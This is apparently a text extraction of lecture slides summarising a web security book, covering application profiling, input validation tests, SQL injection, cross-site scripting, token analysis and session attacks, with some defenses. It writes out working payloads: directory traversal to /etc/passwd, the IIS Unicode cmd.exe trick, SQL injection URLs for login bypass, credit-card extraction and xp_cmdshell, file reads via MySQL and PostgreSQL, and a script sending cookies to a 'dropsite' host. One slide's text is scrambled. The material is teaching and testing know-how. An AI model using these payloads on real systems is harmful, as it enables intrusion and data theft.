Transcript Document

HACKNOTES Web Security
Mike Shema
McGraw-Hill/Osborne
2015/7/17
INSA, Kai
1
PART I
Hacking Techniques & Defenses
1. Web Hacking & Penetration
Methodologies
2. Critical Hacks & Defenses
2015/7/17
INSA, Kai
2
1 Web Hacking &
Penetration Methodologies




Threats and Vulnerabilities
Profiling the Platform
Profiling the Application
Summary
2015/7/17
INSA, Kai
3
THREATS AND
VULNERABILITIES
Vulnerabilities

1.
2.
The platform – Linux, Windows, Apache,
Oracle
The application – programming errors


2015/7/17
SQL injection
Session hijacking
INSA, Kai
4
PROFILING THE PLATFORM



Web Server – Apache, IIS, Netscape
Application Server –Tomcat Servlet, PHP, ASP.NET
Database – Oracle, MSSQL, DB2, Infomix, Sybase.
Web Server
2015/7/17
Application Server
INSA, Kai
Database
5
Port Scanning and Service
Identification

Nmap
2015/7/17
INSA, Kai
6
Port Scanning and Service
Identification

Scanline – fast but only perform SYN,
ICMP and UDP scans
2015/7/17
INSA, Kai
7

Port Scanning and Service
Identification
Netcat & openssl
openssl s_client –connect website:443 –cipher EXPORT40
openssl s_client –connect website:443 –cipher NULL
openssl s_client –connect website:443 –cipher HIGH
2015/7/17
INSA, Kai
8
Vulnerability scanning

Nikto & Nessus
2015/7/17
INSA, Kai
9
Platform profile checklist
1.
2.
3.
4.
5.
6.
2015/7/17
Identify the server’s role
Determine the operating system and
version
Determine the operating system and
application patch level
Scan for open ports
Record the web server type, patch level,
and additional components
Research known vulnerabilities.
INSA, Kai
10
PROFILING THE
APPLICATION


The next step is to profile the actual
web site by systematically cataloging
all of its pages, functions, and
parameter.
To identify common problems such as
poor input validation, inadequate
session handling, and other
programming errors.
2015/7/17
INSA, Kai
11
Enumerate the Directory
Structure and Files

Indexex, The easy part is going
through the application and recording
each file name and its full path from
the web root.

Teleport, wget
libwhisker’s crawl function

2015/7/17
INSA, Kai
12
Identify Authentication
Mechanism
Keep in mind that challenge/response mechanisms
don’t protect passwords with 100 percent security
Anonymous
No authentication required
HTTP Basic
Username and password and passed in a header that is Base64
encoded of the type base64 (username:password)
HTTP Digest Username and password are passed in a header that is and MD5
challenge/response.
HTTP NTLM
Username and password use Windows credentials passed in a
challenge/response format
Form-based
Username and password are entered in a form. The user receives
some token (cookie value, session ID, etc.) that indicate success.
2015/7/17
INSA, Kai
13
Identify Authorization
Mechanism

Identify Authorization Tokens
User
URL
Matt
https://website/index.php?id=matt&isadmin=false&menu=basic
Allen
https://website/index.php?id=allen&isadmin=false&menu=full
George
https://website/index.php?id=george&isadmin=true&menu=basic
Scott
https://website/index.php?id=scott&isadmin=true&menu=full
1. http://website/index.php?id=allen&isadmin=false&menu=basic
If the request succeeds, then the application is vulnerable to
horizontal privilege escalation.
5.http://website/index.php?id=matt&isadmin=falso&menu=full
http://website/index.php?id=matt&isadmin=true&menu=full
4. 3.
http://website/index.php?id=matt&isadmin=true&menu=basic
ifrequest
the
request
succeeds,
then
the
application
vulnerable
the
if the
request
succeeds,
succeeds,
then
then
application
the
application
is vulnerable
is is
vulnerable
to vertical
toto privilege escalation.
2. If
http://website/index.php?id=george&isadmin=false&menu=basic
vertical
privilege
escalation.
The
attack
required
manipulating
multiple
tokens,
The
vertical
application
privilege
performs
escalation.
an authorization
The
application
check
doesn’t
on
the
perform
isadmin
any
parameter
authorization
andworks,
If the
request
doesn’t
receive
administrator
right,
then
user
impersonation
still
butserver
the
application
still
enforce
strongother
authorization
provides
functionality
after
the user
according
hasfailed
authenticated.
totoin
the
value.
butchecks
the
tracks
authorization
a aparameter
than id. checks.
Otherwise,
the application performs the INSA,
authorization
check based on the username,
2015/7/17
Kai
14
is vulnerable to horizontal and privilege escalation.
Protect Authorization

The best defense is to track as many user
attributes on the server as possible.

Creating role-based access in a custom
database table increases application
overhead and maintenance; however, the
security requirements of the application may
require such a technique.
2015/7/17
INSA, Kai
15
Identify All “Support” Files




style sheets (.css)
IIS files that are interpreted by specific
ISAPI (internet server application
programming interface) filters, such
as .htr, .htx, .idc , .ida and .idq.
passwd.txt & global.asa
Nikto will identify these common files, but
only in default locations.
2015/7/17
INSA, Kai
16
Identify All Include Files

To identify an include file by search for
the Server Side Include (SSI) tag.


Virtual
File

PHP

Log
2015/7/17
<!-- #include virtual = “/html/include /header.inc” -->
<!-- #include file = “include/header.inc” -->
INSA, Kai
17
Protect Include Files



Always use the language’s file suffix
instead of .inc when naming include
<% This line will not be visible if the file suffix is .asp %>
files.
<!– This line will be visible regardless of the file suffix -->
If you’re using Apache::ASP, then you
can either rename the files to .asp or
modify the httpd.conf file
The <FilesMatch> trick
2015/7/17
INSA, Kai
18
Enumerate All Forms

The indicator of a form is the HTML <form>
tag; how ever, the salient portions are the
“input type” definitions:
<INPUT TYPE=“hidden” NAME=“sess_id” VALUE=“ “>
from APBoard
<INPUT TYPE=“hidden” NAME=“postit” VALUE=“TRUE“>
<INPUT TYPE=“hidden” NAME=“insertinto” VALUE=“1“>
<INPUT TYPE=“hidden” NAME=“BoardID” VALUE=“1“>
<INPUT CLASS=“button” TYPE=“sumit” NAME=“new_topic” VALUE=“Thema posten“>
<INPUT CLASS=“button” TYPE=“sumit” NAME=“prefiew_topic” VALUE=“Vorschau“>

Form-based authentication is also a primary
target for brute-force password-guessing
attacks.
2015/7/17
INSA, Kai
19
Enumerate All GET Parameters

Many applications track variables through
URL parameters. The server sets these
parameters based on user permission level,
a user’s action, a session ID, or similar
function.
http://website/main.asp?menu=viewprofile
viewprofile, user, welcome, admin, debug


This can point to the parameter’s function or
its relation to session tracking, or it can
generate informational errors.
Each GET parameter should also be tested
for input validation and SQL injection attacks
2015/7/17
INSA, Kai
20
Protect Parameters


If the application uses GET parameters
to track values then you might
consider using POST request more
often.
The parameters to a POST request will
not show up in a browser’s history file
or bookmarks.
method=POST
2015/7/17
Method = GET
INSA, Kai
21
Identify Vector for
Directory Attacks


Directory attacks: traversal and listing
Applications that use templating techniques
•http://website/cgi-bin/bb-hostsvc.sh?HOSTSVC=www,website,com.cpu
•http://website/servlet/webacc?User.html=index
•http://website/ultraboard.pl?action=PrintableTopic&Post=42

Typical attack

NULL (%00) character

•../../../../etc/passwd
•../../conf/httpd.conf
•../../../../boot.ini
•../../../../winnt/repair/sam
Try this to bypass scripts that check for file
extensions or automatically append characters
to file names.
../../etc/paswd%00html
2015/7/17
INSA, Kai
22
Identify Areas that Provide
File Upload Capability

File upload introduces several threats
to the application



2015/7/17
Malicious Content
File Overwrite
Denial of Service
INSA, Kai
23
Identify Errors
Two steps

1.
Simply try to generate some errors in the
application.
Inserting garbage characters
deleting parameters
inserting punctuation
2.
2015/7/17
Identify what types of errors are
generated on the server and how they
are displayed to user.
Did it return the server’s default HTTP 500 message?
Is it a customized error page?
Does an error return a custom page, but an HTTP 200 message?
What information does the error contain?
Can you identify path information?
What about internal variables
or references to other files? 24
INSA, Kai
Is the error related to SQL queries?
Protect Error Messages
Errors can be caught in two locations

1.
The web or application server

2.
The application itself

2015/7/17
Change the content of these pages so that it
does not include any server or application
information.
Make sure that the application has proper
error-handling routines that default to a
simple, innocuous error message.
INSA, Kai
25
Determine Which Pages
Require SSL


Replace all of the https:// references
with http:// and see if the application
still serves the page.
The server and application should be
designed to ensure that sensitive files
are transmitted via SSL.
2015/7/17
INSA, Kai
26
Applicatoin Profile Checklist
Step
Harvest the web site
Enumerate the directory structure and files
Identify authentication mechanism
Identify authorization mechanism
Identify all “support” files
Identify all include files (.inc, .js, global.asa)
Enumerate all forms (type=hidden type=password)
Enumerate all GET parameters (?name1=value1&…)
Enumerate the effect of absent GET parameters (?name1=value1&…)
Identify vectors for directory traversal attacks
Identify areas that provide file upload capability
Identify errors
Determine which pages require SSL
2015/7/17
INSA, Kai
27
SUMMARY



In order to full vet the security of an
application, it must first be fully profiled.
This basically involves gathering as
much information about the platform
and the application.
A good profile of the application and
knowledge of SQL can turn an
innocuous error into a severe exploit.
2015/7/17
INSA, Kai
28
2











Critical Hacks & Defenses
Generic Input Validation
Character Encoding
Alternate Request Methods
SQL Injection
Cross-site Scripting
Token Analysis
Session Attacks
XML-Based Services
Fundamental Application Defenses
Input Validation
Summary
2015/7/17
INSA, Kai
29
GENERIC INPUT
VALIDATION

Common input validation tests
Characters
URL Escape
Comments
NULL
(empty)
Remove the parameter from URL or POST request. Use this to
check error handling.
NULL
%00
Insert a NULL character within a parameter or at the end of a string.
Use %00 to bypass file name-validation routines ( an application
may allow a variable to contain NULL characters, but the
underlying operating system uses the NULL to terminate a string).
Line Feed
Carriage
Return
%0a
%0d
Use these for arbitrary command execution, command separation,
and parsing errors.
7-bit
maximum
8-bit
maximum
%7f
%ff
Use these to test the application’s handling of potential byte-field
overflows.
Extended ASCII (value
+ 0x80)
%c1
%e1
Use these to test for potential wraparound errors. Add 0x80 (128) to
any ASCII character and see what the application accepts and
displays.
‘
%27
Use this to test for SQL injection vulnerabilities.
;
%3b
Use this for command execution and command separation on Unixbased systems.
2015/7/17
INSA, Kai
30
GENERIC INPUT
VALIDATION

Common input validation tests (cont.)
Characters
URL Escape
Comments
|
%7c
Use this for command execution and
execution and redirection on Unixbased systems.
& &&
%26
(
) + --
= %28
%26%26
%29
%2b
Use this for command execution
(background a process) on Unix-based
systems. Double to windows systems.
%2d%2d
%3d
Use these SQL statement components
to craft SQL injection attacks
../
%2e%2e%2f
Use this for directory traversal attacks.
<script>
%3cscript%3e
Use this for cross-site scripting tests in
fields that the application redisplays to
the user.
Underflow
Varies
Enter too few characters for the field.
Overflow2015/7/17
Varies
INSA, Kai
Enter too many characters for the 31field.
Common Vectors
Consider these vector as well
GET requests
POST requests
Session cookies
Stateful cookies
HTTP headers
User-Agent:
Host:
Content-Type:
Referer:
WebDAV options
Example input
Validation attack
vectors
2015/7/17
Request portion
Attack possibilities
GET
What happens if the request is submitted with a POST?
Get vs. GET
What about other verbs? (PUT, DELETE, TRACE, etc.)
/menu.cgi
/.(possible directory listing)
/menu.cgi%00 (possible source disclosure)
/menu.cgi.bak
?foo=bar
?foo=bar’
Replace “bar” with any item
HTTP/1.1
HTTP/1.0
HTTP/2.0 (invalid protocol)
Host
Host: localhost
INSA, Kai
Host: aaa…aaa (larget nubmer of letters)
32
Source Disclosure


Certain input validation attacks manipulate the
CGI’s file name in order to cause its source to be
displayed in a user’s browser.
Java-based server engines seem to be most
vulnerable to this type of validation attack





2015/7/17
/foo.jsP
/foo.js%70
/%3f.jsp (directory listing)
/foo.asp::$DATA
/foo.asp+.html
INSA, Kai
33
CHARACTER ENCODING

URL Encoding (Escaped Characters)
Mask: 1 1 0 0 0 0 b7 b6 1 b6 b5 b4 b3 b2 b1 b0
---- first byte ------ ---- second byte --Example: 0 0 1 0 1 1 1 1 (2F)
b7 b6 b5 b4 b3 b2 b1b0
------ one byte --------Result: 1 1 0 0 0 0 0 0(C0) 1 0 1 0 1 1 1 1(AF)
In url: %c0%af

Alphanumeric
a-z A-Z 0-9
Reserved
;/?:@&=+$,
Marks
-_.!~*‘()
Space
0x20
Delimiters
<>#%“
Unwise
{}|\^[]`
Unicode
Microsoft Bulletin MS00-0086:
http://website/scripts/..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
Parsed by IIS
http://website/scripts/../../winnt/system3/cmd.exe?/c+dir
Recorded in IIS logs
2015/7/17
INSA, Kai
/scripts/..À../winnt/system32/cmd.exe?/c+dir
34
Some Useful UnicodeEncoded Characters
Character
ASCII Value Hex
Unicode Representation (1:1)
Unicode Multibyte Representations
/
0x2F
C02F
\
0x5C
C05C
<
0x3C
C03C
C0BC
>
0x3E
C03E
C0BE
'
0x27
C027
C0A7
(
0x28
C028
C0A8
)
0x29
C029
C0A9
,
0x2C
C02C
C0AC
|
0x7C
C07C
C0FC
*
0x2A
C02A
C0AA
.
0x2E
C02E
C0AE
2015/7/17
C0AF
C11C
INSA, Kai
C19C
35
ALTERNATE REQUEST
METHODS

SPIKE proxy


http://www.immunitysec.com/resourcesfreesoftware.shtml
GET, POST, BROWSE, CONNECT,
COPY, DELETE, HEAD, LOCK,
MKCOL, MOVE, OPTIONS,
PROPFIND, RPOPPATCH, PUT,
SEARCH, TRACE, and UNLOCK.
2015/7/17
INSA, Kai
36
SQL INJECTION
URL = HTTP.GetFromUser();
user_id = URL.parameter(“user_id);
password = URL.parameter(“password”);
query = “SELECT name FROM userlist WHERE uid=‘” + user_id
+ “’AND pwd=‘” + password + “’;”
database.connect();
result = databasae.execute(query);
if resule
HTTP.Send(“Login successful. Welcome, “ + result)
IsAuthenticated = true;
else HTTP.Send(“User ID or password is incorrect.”)
isAuthenticated = false;
end if
if IsAuthenticated
HTTP.Send(MainMenu)
end if
2015/7/17
https://website/login.cgi?user_id=dcooper&password=diane
https://website/login.cgi?user_id=dcooper’;%20-INSA, Kai
37
SELECT Statement Manipulation

https://website/login.cgi?user_id=dcooper&p
assword=‘%20OR%20”%3d’
SELECt name FROM userlist WHERE uid=‘dcooper’ AND pwd=‘’ OR ‘’=‘’;

https://website/login.cgi?user_id=dcooper&p
assword=foo%20OR%201%3d1
SELECT name FROM userlist WHERE uid=dcooper AND pwd=foo OR 1=1;

https://website/login.cgi?user_id=‘%20OR%
20’’%3d’&password=‘%20OR%20’’%3d’
SELECT name FROM userlist WHERE uid=‘’ OR ‘’=‘’ AND pwd=‘’ OR ‘’=‘’;

https://website/login.cgi?user_id=%25’;--
SELECT name FROM userlist WHERE uid=‘%’ ;--’ AND pwd=‘’;
2015/7/17
INSA, Kai
38
Retrieve Arbitrary Data with
SELECT plus UNION

SELECT value(s) FROM table WHERE clause_false UNION ALL
SELECT value(s) FROM other_table WHERE clause_true
https://website/login.cgi?user_id=foo&password=‘+UNION+
ALL+SELECT+uid,+pwd+FROM+userlist+WHERE+”%3d’
SELECT name FROM userlist WHERE uid=‘foo’ AND pwd=‘’ UNION
ALL SELECT uid, pwd FROM userlist WHERE ‘’=‘’;
https://website/login.cgi?user_id=foo&password=%27+UNION+ALL+
SELECT+first%5fname%2clast%fname%2cccard+FROM+store+
WHERE+%27%27%3d%27%27;
SELECT name FROM userlist WHERE uid=‘foo’ AND pwd=‘’ UNION
ALL SLEECT first_name,last_name,ccard FROM store WHERE ‘’=‘’;
SELECT name FROM userlist WHERE uid=foo AND pwd=bar UNION
ALL SELECT first name, last name, ccard FROM store WHERE 1=1;
2015/7/17
INSA, Kai
39
Use INSERT to Modify Data

INSERT INTO user (User,Password) VALUES (‘albert’,’camus’);
https://website/login.cgi?user_id=&password=%27;+INSERT+INTO+userlist+
%28uid%2cpassword%29+VALUES%28%27albert%27%2c%27camus%27%29;--+
SELECT name FROM userlist WHERE uid=‘’ AND pwd=‘’; INSERT INTO
userlist (uid,password) VALUES (‘albert’,’camus’);-- ‘;
2015/7/17
INSA, Kai
40
Salient Information for
Common Databases
Server
Default Accounts
View Users
Useful Variables
Microsoft SQL Server
sa / <blank>
EXEC master..sp_who2;
EXEC master..xp_loginconfig;
SELECT * FROM sysusers;
SELECT * FROM syslogins;
EXEC xp_msver;
@@servername
@@version
MySQL
root / <blank>
monty / some_pass
Some
SELECT host,user,password
FROM user;
SHOW VARIABLES;
@@version
Oracle
internal / oracle
oracle / oracle
Scott / tiger
sys / Change_on_install
system / manager
SELECT A.USERNAME,
A.PASSWORD FROM
SYS.DBA_USERS A;
SHOW
PARAMETERS
PostgreSQL
postgreSQL / <locked> must
be defined
SELECT * FROM pg_shadow;
SELECT * FROM pg_group;
2015/7/17
INSA, Kai
41
Common SQL Injection String
Raw String
URL Encoded Version
Effect
‘
%27
Initial test. If this generates an error, then the
application is vulnerable to SQL injection.
%
%%
%25
%25%25
Represents a wildcard. Can be used to
retrieve multiple rows as opposed to a single
value.
‘;-;--
%27%3b%2d%2d
%3b%2d%2d
SQL comment. Use this to truncate a
statement so that further SQL syntax within
the statement is ignored.
‘+OR’’=‘
%27%20OR%27%27%3d%27
Creates a true statement.
+OR+1=1
%20OR%201=%20
+OR+1%3d1 %20OR%201%3d%20
Creates a true statement. User this when the
query does not have single quote (‘) delimiters.
foo)
May generate errors in Oracle-based
applications.
Foo%29
2015/7/17
INSA, Kai
42
SQL Injection Countermeasures


Use strongly typed variables and database
column definitions.
Assign query results to a strongly typed
variable. http://website/votw/analysis.asp?voteid=@@version
Microsoft OLE DB Provider for SQL Server error ‘80040e57’
Arithmetic overflow error converting nvarchar to data type numeric.
/vote/analysis.asp, line 19



Limit data lengths. “SELECT something FROM table WHERE” + varable…
Avoid creating queries via string concatenation.
Apply data separation and role-based access
within the database.
2015/7/17
INSA, Kai
43
Microsoft SQL Server


Insert a single quote (‘) into URL parameters
and then examine the output, HTML source, or
even the URL parameters for a tell-tale sign.
In addition to the slew of attacks that can be
performed against any SQL-based database,
MSSQL server contains a set of very powerful –
and dangerous – commands.
EXEC master.xp_cmdshell ‘command’
https://website/vuln.cgi?param=‘;xp_cmdshell+’ipconfig+/all’+;--
2015/7/17
INSA, Kai
44
High-Risk Stored Procedures
in MSSQL
Stored Procedure
Description
sp_validatelogins
Enumerates users who may still access the database, but are no
longer part of a group or domain known to the database
sp_who2 [user]
Enumerates database user information. Note that these are users
with access to SQL database itself. Application users must be
gathered from the custom tables created for the application
xp_loginconfig
Enumerates login information, login mode, and default user.
xp_msver
Lists database version and operating system information.
xp_ntsec_enumdomains
Enumerates domains present on the network
xp_regread <rootkey>,<key>,<value>
Reads a registry key from the Hive.
xp_servicecontrol <action>,<service>
Performs an action (START or STOP) on a Windows service
xp_terminate_process <PID>
While it does not provide a simple method for identifying a process
name, this can quickly lead to a denial of service.
2015/7/17
INSA, Kai
45
Useful Objects and Variables
Variables
SELECT @@variable;
@@language
Name of the language currently in use.
@@microsoftversion
Numeric value that represents the version and patch level.
@@servername
Host name of the database.
@@servicename
Name of the Windows service under which the database is running
@@version
Date, version, and processor type. Use xp_msver to extract more
information.
System Table Objects
SELECT * FROM table;
Systemcolumns
All column names and stored procedures within the database.
Sysfiles
File name and path for the current database and its log file.
Sysobjects
Every object contained in the database.
Systypes
Default and user-defined data types.
Sysusers
All users who can manipulate the database.
Master Database Tables
SELECT * FROM master..table;
Sysconfigures
Current database configuration settings.
Sysdevices
Devices used for database, logs, and temporary files.
Syslogins2015/7/17
Information for eachINSA,
userKaipermitted to access the database.
Sysservers
All peers that the server can access as an OLE database server.
46
Oracle
Informational Oracle parameters
Parameter
Description
control_files
Example: E:\oracle\ora92\orcl\control01.ctl,
E:\oracle\ora92\orcl\control02.ctl, E:\oracle\ora92\orcl\control03.ctl
db_name
Example: orcl
mts_service
Example: orcl
user_dump_dest
E:\oracle\admin\orcl\udump
utl_file_dir
Default: <blank>
The default directory when writing files with the utl_file command.
show parameters control_files;
CREATE DIRECTORY somedir AS ‘/path/to/dir’;
CREATE TABLE foo (bar varchars2(20)) ORGANIZATION EXTERNAL (TYPE
oracle_loader DEFAULT DIRECTORY somedir LOCATION (‘somefile.dat’));
2015/7/17
DECLARE
fh UTL_FILE.FILE_TYPE;
BEGIN
fh := UTL_FILE.fopen(‘/some/dir’,’file.name’,’W’); -- wite
UTL_FILE.PUTF(fh, somedata);
UTL_FILE.FCLOSE(fh); INSA, Kai
END
47
MySQL – Read from the File
System
mysql> CREATE TABLE foo (bar TEXT);
Query OK, 0 rows affected (0.02 sec)
mysql> LOAD DATA INFILE ‘/etc/passwd’ INTO TABLE foo;
Query OK, 27 rows affected (0.02 sec)
Records: 27 Deleted: 0 Skipped: 0 Warnings: 0
mysql> SELECT * FROM foo;
bar
--------------------------------------------------------------------root:x:0:0:root:/root:/bin/bash
mike:x:500:500:mike:/home/mike:/bin/bash
mysql:x:78:78:MySQL server:/var/lib/mysql:/bin/bash
postgres:x:79:79:system user:/var/lib/pgsql:/bin/bash
https://website/vuln.cgi?param=%27;+CREATE+TABLE+foo+%28bar+TEXT%29;
https://website/vuln.cgi?param=%27;+LOAD+DATA+INFILE+%27%2fetc%2fpasswd%27+INTO+TABLE+foo;
https://website/vuln.cgi?param=%27;+SELECT+%2a+FROM+foo;
2015/7/17
INSA, Kai
48
MySQL – Write to the File
System
SELECT * FROM employees INTO OUTFILE ‘/tmp/foo’;
https://website/vuln.cgi?param=%27;+SELECT+%2a+FROM+
employees+INTO+OUTFILE+%27%2ftmp/%2f..%08%27;
[melnibone]$ ls –la /tmp
drwxrwxrwx 8 root root
drwxrwxrwx 19 root adm
drwxrwxrwx 1 mysql mysql
4096 jan 16 16:28 .
4096 jan 16 14:03 ..
1269 jan 16 16:28 ..
[melnibone]$ ls –la /tmp | cat -tve
drwxrwxrwx 8 root root
drwxrwxrwx 19 root adm
drwxrwxrwx 1 mysql mysql
4096 jan 16 16:28 ./$
4096 jan 16 14:03 ../$
1269 jan 16 16:28 ..^H$
2015/7/17
INSA, Kai
Create a DoS
By taking up
disk space
49
PostgreSQL – File Read/Write
Access with COPY
test=# CREATE TABLE foo (bar TEXT);
CREATE
test=# COPY foo FROM ‘/etc/passwd’;
COPY
test=# SELECT * FROM foo;
bar
--------------------------------------------------------------------COPY foo FROM ‘/var/lib/pgsql/data/pg_hba.conf’;
root:x:0:0:root:/root:/bin/bash
mike:x:500:500:mike:/home/mike:/bin/bash
mysql:x:78:78:MySQL server:/var/lib/mysql:/bin/bash
postgres:x:79:79:system user:/var/lib/pgsql:/bin/bash
(27 rows)
test=#
COPY foo TO ‘/var/lib/pgsql/data/pg_hba.conf’;
COPY foo TO ‘/tmp/table_data’;
COPY pg_shadow TO ‘/tmp/foo’;
2015/7/17
INSA, Kai
50
MySQL & PostgreSQL –
Protect the File System

Running the application in a lowprivilege account.


Limits the exposure of important system
configuration files and binaries.
“chroot” or jail environments.

2015/7/17
Protect system files.
INSA, Kai
51
Putting It Together










Identify a vulnerable parameter. Test basic SQL injection characters such a %00,
%27, and %3b. Examine errors for indicators of a SQL injection.
Examine errors for information on database, table, and column names.
Query standard variable (version, file locations) for the type of database.

Determine system-specific users.

Determine database-specific users.

Determine application-specific users.
Query standard database objects (database, tables, columns, stored procedures).

Record available databases, tables, columns, and known row values.
Query arbitrary data from application tables.
Use OR TRUE=TRUE commands to bypass authentication.
Insert arbitrary data into standard database tables.
Insert arbitrary data into application tables.
Attempt to read and write files on the operating system.
Execute arbitrary commands on the database’s host operating system

Send files to an FTP, HTTP, TFTP server or netcat listener.

Write files to the web document root.

Overwrite important configuration files.

Denial of service (shutdown the database or host, delete files, fill up disk
space).
2015/7/17
INSA, Kai
52
CROSS-SITE SCRIPTING
<script>alert(‘Hello world!’)</script>
<script>alert(‘document.cookie’)</script>
<script>document.location=‘http://dropsite/cookiemonster.cgi?’+document.cookie</script>
%3cscript%3edocument%2ecookie%3cscript%3e
<div style=“background-image:url(javascript:alert(‘foo’))”>
<img src=javascript:alert(‘foo’)>
<img dynsrc=javascript:alert(‘foo’)>
<img src=“foo” alt=“bar” onmouseover=“javascript:alert(‘foo’)”>
2015/7/17
INSA, Kai
53
TOKEN ANALYSIS
2015/7/17
INSA, Kai
54
Finding Tokens
http://website:8000/LOGIN:sessionid=0:next=html/
PatronAutho.html:bad=html/PatronAutho.html:entitylanginit=
FALSE:entitylang=eng:entitynoPatron=FALSE
http://website/default.asp?SESSIONID=%7BFDCECD1C835C-46A4-A20D-148AAF056E74%7D
http://website/article.php3?sid=20020303191829
http://website/cust.fl?rqst=customerservice&sess=guest
2015/7/17
INSA, Kai
55
Encode vs. Encrypted

Base 64
Cookie: SXNBZG1pbj1GYWxzZQ==
2015/7/17
INSA, Kai
56
Encode vs. Encrypted

One-Way Hash Algorithms
2015/7/17
INSA, Kai
57
Encode vs. Encrypted

Encryption
<input type=“hidden” name=“ccard” value=“BLk1tCXYv6pEn2jqB6zorQ==”>
<input type=“hidden” name=“ccard” value=“8mMbh5LUvwEBa3NJeOwdmg==“>
2015/7/17
INSA, Kai
58
Pattern analysis
2015/7/17
INSA, Kai
59
Token
Description
Special Attacks
Incremental Value
A counter used by the application to track “something.” this may be a
current session, request number, reference to a temporary file, or other
ephemeral. It may be numeric or a string.
Varies.
Date and Timestamp
A special case of incremental values. The timestamp always increases,
regardless of new sessions and users. Most of the time it will consist of
a long, numeric string or a 10-digit number if it is an epoch value.
YYYYMMDDHHMMSSMMDDHH:MMSS YYYY
Revalidate an old session
ID. Bypass forced timeouts.
Static Value
A value that does not change regardless of session, user, or time. This
could be as simple as a language identifier (“1033” for U.S. English) or
a specific flag used by the application.
Input Validation.
Pseudorandom Value
This is most likely the session token.
Session hijacking.
Profile Information
Look for values that the application has requested such as first name,
list name, e-mail address, mailing address, phone number, age,
birthday, etc.
User impersonation.
Access another user’s
information (horizontal
privilege escalation).
Server IP Address
The server embeds its own IP address in the cookie. The address
could be the public IP address or an internal one. Look for four bytes in
network order (big endian) or low endian format. Also, check for
hexadecimal and Base 64 equivalents. For example, 192.168.0.1
could be either 0x0C0A80001 or 0x00100A8C0.
Network enumeration.
Client IP Address
The client embeds its own IP address in the cookie. Look for four bytes
in network order (big endian) or low endian format. Also, check for
hexadecimal and Base 64 equivalents. For example, 192.168.0.1
could be either 0x0C0A80001 or 0x00100a8C0.
Session hijakcing
2015/7/17
Two-Byte numbers
INSA, Kai
This may be a port number. Test the values
to see
Network enumeration.60
SESSION ATTACKS
SESSION ATTACKS
Horizontal privilege Escalation
Vertical Privilege Escalation
Attacking session management
process



1.
2.
3.
4.
2015/7/17
Find the state carrier
Decipher the state information
Replay the state information
Modify the state information
INSA, Kai
61
User Impersonation
2015/7/17
INSA, Kai
62
Protect URL Parameters
2015/7/17
INSA, Kai
63
Brute-Force Password Guessing
2015/7/17
INSA, Kai
64
Password Protection




Lock the account after a certain
number of failed logins
Re-authentication attempts should
have a minimum time between them
Concurrent logins should be restricted
Inform the user that failed logins have
occurred.
2015/7/17
INSA, Kai
65
Spoofing and Replay
http://website/bad.cgi?user=foo&sessid=12345&red=herring
2015/7/17
INSA, Kai
66
Protect the Session
Token Creation
Description
timestamp + ID
Insecure. The timestamp is trivial to modify and
update to a vild window. A captured token may be
replayed at any time.
3DES (timestamp + ID)
Secure. The application is able to decrypt the token
in order to verify that the timestamp is within the valid
window. A captured token may be replayed only
within the time window. The token is vulnerable to an
offline brute-force attack. For example, if the attacker
determines the initial timestamp and session ID, then
it would be possible to determine the secret key used
by the application to decrypt the token.
3DES(secret + timestamp
+ID)
More secure. The addition of the “secret” or salt
makes a successful brute-force attack more difficult
because the attacker no longer has a known plaintext
(timestamp + ID) to target. The secret should be
INSA, Kai
67
rotated on a periodic basic.
2015/7/17
Session Correlation








Success
Failure
Error
Explicit Failure
Silent Failure
Re-authenticate
Success (Horizontal)
Success (Vertical)
2015/7/17
INSA, Kai
68
XML-BASED SERVICES
<?xml versoin=“1.0” encoding=“UTF-8” ?>
<definitions name=“SecureContextEstablishmentDefinition”
targetNamespace=http://someplace/authentication xmlns=
“http://schemas.xmlsoap.org/wsdl/ xmlns:auth-bindings=
“http://someplace/authentication/authentication_bindings”
xmlns:soap=“http://schemas.xmlsoap.org/wsdl/soap/”>
<import location=“../security/authentication/bindings.wsdl”
namespace=“http://someplace/authentication/
authentication_bindings” />
<service name=“SecureContextEstablishmentService”>
<documentation>Service used to establish a security context
</documentation>
<port binding=“auth-bindings:
SecureContextEstablishmentSOAPBinding” name=
“SecurityContextEstablishmentPort”>
<soap:address location=“http://localhost:8080/services”/>
</port>
</service>
2015/7/17
INSA, Kai
</definitions>
69
Attacking XML
POST /foo/ViewProfile HTTP/1.0
Content-Type: text/xml
Content-length: 95
<?xml version=“1.0”?>
<GetProfile>
<ProfileName>Morgainne</ProfileName>
<params/>
</Getprofile>
2015/7/17
INSA, Kai
70
FUNDAMENTAL
APPLICATION DEFENSES
2015/7/17
INSA, Kai
71
INPUT VALIDATION
2015/7/17
INSA, Kai
72
INPUT VALIDATION – Perl
Regex
2015/7/17
INSA, Kai
73
INPUT VALIDATION – .NET
Regex Token
2015/7/17
INSA, Kai
74
Directory Traversal and File
Handling
2015/7/17
INSA, Kai
75
Output Validation
2015/7/17
INSA, Kai
76
SUMMARY
2015/7/17
INSA, Kai
77